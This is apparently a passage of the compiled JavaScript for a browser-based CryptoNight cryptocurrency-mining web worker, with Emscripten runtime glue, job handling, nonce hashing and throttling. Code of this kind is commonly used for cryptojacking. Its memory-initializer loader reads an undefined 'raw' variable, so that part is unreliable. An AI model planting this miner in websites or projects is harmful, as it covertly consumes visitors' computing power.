"___setErrNo": ___setErrNo, "___unlock": ___unlock, "_ftime": _ftime, "_emscripten_memcpy_big":
_emscripten_memcpy_big, "___syscall54": ___syscall54, "___syscall140": ___syscall140, "___syscall20": ___syscall20,
"___assert_fail": ___assert_fail, "___syscall146": ___syscall146, "DYNAMICTOP_PTR": DYNAMICTOP_PTR,
"tempDoublePtr": tempDoublePtr, "ABORT": ABORT, "STACKTOP": STACKTOP, "STACK_MAX": STACK_MAX };
var asm = Module.asm(Module.asmGlobalArg, Module.asmLibraryArg, buffer); Module.asm = asm; var _cryptonight_hash
= Module._cryptonight_hash = (function() { return Module.asm._cryptonight_hash.apply(null, arguments) }); var
getTempRet0 = Module.getTempRet0 = (function() { return Module.asm.getTempRet0.apply(null, arguments) }); var _free
= Module._free = (function() { return Module.asm._free.apply(null, arguments) }); var runPostSets = Module.runPostSets =
(function() { return Module.asm.runPostSets.apply(null, arguments) }); var setTempRet0 = Module.setTempRet0 =
(function() { return Module.asm.setTempRet0.apply(null, arguments) }); var establishStackSpace =
Module.establishStackSpace = (function() { return Module.asm.establishStackSpace.apply(null, arguments) }); var
_memmove = Module._memmove = (function() { return Module.asm._memmove.apply(null, arguments) }); var stackSave
= Module.stackSave = (function() { return Module.asm.stackSave.apply(null, arguments) }); var _memset =
Module._memset = (function() { return Module.asm._memset.apply(null, arguments) }); var _malloc = Module._malloc =
(function() { return Module.asm._malloc.apply(null, arguments) }); var _cryptonight_create = Module._cryptonight_create
= (function() { return Module.asm._cryptonight_create.apply(null, arguments) }); var _memcpy = Module._memcpy =
(function() { return Module.asm._memcpy.apply(null, arguments) }); var _emscripten_get_global_libc =
Module._emscripten_get_global_libc = (function() { return Module.asm._emscripten_get_global_libc.apply(null,
arguments) }); var stackAlloc = Module.stackAlloc = (function() { return Module.asm.stackAlloc.apply(null, arguments) });
var setThrew = Module.setThrew = (function() { return Module.asm.setThrew.apply(null, arguments) }); var _sbrk =
Module._sbrk = (function() { return Module.asm._sbrk.apply(null, arguments) }); var _fflush = Module._fflush = (function()
{ return Module.asm._fflush.apply(null, arguments) }); var stackRestore = Module.stackRestore = (function() { return
Module.asm.stackRestore.apply(null, arguments) }); var _cryptonight_destroy = Module._cryptonight_destroy = (function()
{ return Module.asm._cryptonight_destroy.apply(null, arguments) }); var ___errno_location = Module.___errno_location =
(function() { return Module.asm.___errno_location.apply(null, arguments) }); var dynCall_ii = Module.dynCall_ii =
(function() { return Module.asm.dynCall_ii.apply(null, arguments) }); var dynCall_iiii = Module.dynCall_iiii = (function() {
return Module.asm.dynCall_iiii.apply(null, arguments) }); var dynCall_viii = Module.dynCall_viii = (function() { return
Module.asm.dynCall_viii.apply(null, arguments) }); Runtime.stackAlloc = Module.stackAlloc; Runtime.stackSave =
Module.stackSave; Runtime.stackRestore = Module.stackRestore; Runtime.establishStackSpace =
Module.establishStackSpace; Runtime.setTempRet0 = Module.setTempRet0; Runtime.getTempRet0 =
Module.getTempRet0; Module.asm = asm; if (memoryInitializer) { if (typeof Module.locateFile === "function") {
memoryInitializer = Module.locateFile(memoryInitializer) } else if (Module.memoryInitializerPrefixURL) {
memoryInitializer = Module.memoryInitializerPrefixURL + memoryInitializer } if (ENVIRONMENT_IS_NODE ||
ENVIRONMENT_IS_SHELL) { var data = Module.readBinary(memoryInitializer); HEAPU8.set(data,
Runtime.GLOBAL_BASE) } else { addRunDependency("memory initializer"); var applyMemoryInitializer =
(function(data) { var barf = Uint8Array.from(atob(raw), c => c.charCodeAt(0)) HEAPU8.set(barf,
Runtime.GLOBAL_BASE); if (Module.memoryInitializerRequest) delete Module.memoryInitializerRequest.response;
removeRunDependency("memory initializer") }); function doBrowserLoad() { setTimeout(function() {
applyMemoryInitializer() }, 20) } if (Module.memoryInitializerRequest) { function useRequest() { var request =
Module.memoryInitializerRequest; if (request.status !== 200 && request.status !== 0) { console.warn("a problem seems to
have happened with Module.memoryInitializerRequest, status: " + request.status + ", retrying " + memoryInitializer);
doBrowserLoad(); return } applyMemoryInitializer(request.response) } if (Module.memoryInitializerRequest.response) {
setTimeout(useRequest, 0) } else { Module.memoryInitializerRequest.addEventListener("load", useRequest) } } else {
doBrowserLoad() } } } function ExitStatus(status) { this.name = "ExitStatus"; this.message = "Program terminated with
```

exit(" + status + ")"; this.status = status } ExitStatus.prototype = new Error; ExitStatus.prototype.constructor = ExitStatus; var initialStackTop; var preloadStartTime = null; var calledMain = !1; dependenciesFulfilled = function runCaller() { if (!Module.calledRun) run(); if (!Module.calledRun) dependenciesFulfilled = runCaller }; Module.callMain = Module.callMain = function callMain(args) { args = args || []; ensureInitRuntime(); var argc = args.length + 1; function pad() { for (var i = 0; i < 4 - 1; i++) { argv.push(0) } } var argv = [allocate(intArrayFromString(Module.thisProgram), "i8", ALLOC_NORMAL)]; pad(); for (var i = 0; i < argc - 1; i = i + 1) { argv.push(allocate(intArrayFromString(args[i]), "i8", ALLOC_NORMAL)); pad() } argv.push(0); argv = allocate(argv, "i32", ALLOC_NORMAL); try { var ret = Module._main(argc, argv, 0); exit(ret, !0) } catch (e) { if (e instanceof ExitStatus) { return } else if (e == "SimulateInfiniteLoop") { Module.noExitRuntime = !0; return } else { var toLog = e; if (e && typeof e === "object" && e.stack) { toLog = [e, e.stack] } Module.printErr("exception thrown: " + toLog); Module.quit(1, e) } } finally { calledMain = !0 } }; function run(args) { args = args || Module["arguments"]; if (preloadStartTime === null) preloadStartTime = Date.now(); if (runDependencies > 0) { return } preRun(); if (runDependencies > 0) return; if (Module.calledRun) return; function doRun() { if (Module.calledRun) return; Module.calledRun = !0; if (ABORT) return; ensureInitRuntime(); preMain(); if (Module.onRuntimeInitialized) Module.onRuntimeInitialized(); if (Module._main && shouldRunNow) Module.callMain(args); postRun() } if (Module.setStatus) { Module.setStatus("Running..."); setTimeout((function() { setTimeout((function() { Module.setStatus("") }), 1); doRun() }), 1) } else { doRun() } } Module.run = Module.run = run; function exit(status, implicit) { if (implicit && Module.noExitRuntime) { return } if (Module.noExitRuntime) {} else { ABORT = !0; EXITSTATUS = status; STACKTOP = initialStackTop; exitRuntime(); if (Module.onExit) Module.onExit(status) } if (ENVIRONMENT_IS_NODE) { process.exit(status) } Module.quit(status, new ExitStatus(status)) } Module.exit = Module.exit = exit; var abortDecorators = []; function abort(what) { if (Module.onAbort) { Module.onAbort(what) } if (what !== undefined) { Module.print(what); Module.printErr(what); what = JSON.stringify(what) } else { what = "" } ABORT = !0; EXITSTATUS = 1; var extra = "\\nIf this abort() is unexpected, build with -s ASSERTIONS=1 which can give more information."; var output = "abort(" + what + ") at " + stackTrace() + extra; if (abortDecorators) { abortDecorators.forEach((function(decorator) { output = decorator(output, what) })) } throw output } Module.abort = Module.abort = abort; if (Module.preInit) { if (typeof Module.preInit == "function") Module.preInit = [Module.preInit]; while (Module.preInit.length > 0) { Module.preInit.pop()() } } var shouldRunNow = !0; if (Module.noInitialRun) { shouldRunNow = !1 } run(); var CWW = (function() { this.ctx = _cryptonight_create(); this.throttleWait = 0; this.throttledStart = 0; this.throttledHashes = 0; this.workThrottledBound = this.workThrottled.bind(this); this.currentJob = null; this.target = new Uint8Array([255, 255, 255, 255, 255, 255, 255, 255]); var heap = Module.HEAPU8.buffer; this.input = new Uint8Array(heap, Module._malloc(84), 84); this.output = new Uint8Array(heap, Module._malloc(32), 32); self.postMessage("ready"); self.onmessage = this.onMessage.bind(this) }); CWW.prototype.onMessage = (function(msg) { var job = msg.data; if (job.verify_id) { this.verify(job); return } if (!this.currentJob || this.currentJob.job_id !== job.job_id) { this.setJob(job) } if (job.throttle) { this.throttleWait = 1 / (1 - job.throttle) - 1; this.throttledStart = this.now(); this.throttledHashes = 0; this.workThrottled() } else { this.work() } }); CWW.prototype.destroy = (function() { _cryptonight_destroy(this.ctx) }); CWW.prototype.hexToBytes = (function(hex, bytes) { var bytes = new Uint8Array(hex.length / 2); for (var i = 0, c = 0; c < hex.length; c += 2, i++) { bytes[i] = parseInt(hex.substr(c, 2), 16) } return bytes }); CWW.prototype.bytesToHex = (function(bytes) { for (var hex = "", i = 0; i < bytes.length; i++) { hex += (bytes[i] >>> 4).toString(16); hex += (bytes[i] & 15).toString(16) } return hex }); CWW.prototype.meetsTarget = (function(hash, target) { for (var i = 0; i < target.length; i++) { var hi = hash.length - i - 1, ti = target.length - i - 1; if (hash[hi] > target[ti]) { return !1 } else if (hash[hi] < target[ti]) { return !0 } } return !1 }); CWW.prototype.setJob = (function(job) { this.currentJob = job; this.blob = this.hexToBytes(job.blob); this.input.set(this.blob); var target = this.hexToBytes(job.target); if (target.length <= 8) { for (var i = 0; i < target.length; i++) { this.target[this.target.length - i - 1] = target[target.length - i - 1] } for (var i = 0; i < this.target.length - target.length; i++) { this.target[i] = 255 } } else { this.target = target } }); CWW.prototype.now = (function() { return self.performance ? self.performance.now() : Date.now() }); CWW.prototype.hash = (function(input, output, length) { var nonce = Math.random() * 4294967295 + 1 >>> 0; this.input[39] = (nonce & 4278190080) >> 24; this.input[40] = (nonce & 16711680) >> 16; this.input[41] = (nonce & 65280) >> 8; this.input[42] = (nonce & 255) >> 0; _cryptonight_hash(this.ctx, input.byteOffset, output.byteOffset, length) }); CWW.prototype.verify = (function(job) { this.blob = this.hexToBytes(job.blob); this.input.set(this.blob); for (var i = 0, c = 0; c < job.nonce.length; c += 2, i++) { this.input[39 + i] = parseInt(job.nonce.substr(c, 2), 16) } _cryptonight_hash(this.ctx, this.input.byteOffset, this.output.byteOffset, this.blob.length); var result = this.bytesToHex(this.output); self.postMessage({ verify_id: job.verify_id, verified: result === job.result }) }); CWW.prototype.work = (function() { var hashes = 0; var meetsTarget = !1; var start = this.now(); var elapsed = 0; do { this.hash(this.input, this.output, this.blob.length); hashes++; meetsTarget = this.meetsTarget(this.output, this.target); elapsed = this.now() - start } while (!meetsTarget && elapsed < 1e3); var hashesPerSecond = hashes / (elapsed / 1e3); if (meetsTarget) { var nonceHex = this.bytesToHex(this.input.subarray(39, 43)); var resultHex = this.bytesToHex(this.output); self.postMessage({ hashesPerSecond: hashesPerSecond, hashes: hashes, job_id: this.currentJob.job_id, nonce: nonceHex, result: resultHex }) } else { self.postMessage({ hashesPerSecond: hashesPerSecond, hashes: hashes }) } }); CWW.prototype.workThrottled = (function() { var start = this.now(); this.hash(this.input, this.output, this.blob.length); var end = this.now(); var timePerHash = end - start; this.throttledHashes++; var elapsed = end - this.throttledStart; var hashesPerSecond = this.throttledHashes / (elapsed / 1e3); if (this.meetsTarget(this.output, this.target)) { var nonceHex = this.bytesToHex(this.input.subarray(39, 43)); var resultHex = this.bytesToHex(this.output); self.postMessage({ hashesPerSecond: hashesPerSecond, hashes: this.throttledHashes, job_id: this.currentJob.job_id, nonce: nonceHex, result: resultHex }); this.throttledHashes = 0 } else if (elapsed > 1e3) { self.postMessage({ hashesPerSecond: hashesPerSecond, hashes: this.throttledHashes }); this.throttledHashes = 0 } else { var

```
wait = Math.min(2e3, timePerHash * this.throttleWait); setTimeout(this.workThrottledBound, wait) } });
Module.onRuntimeInitialized = (function() { var cryptonight = new CWW })
```
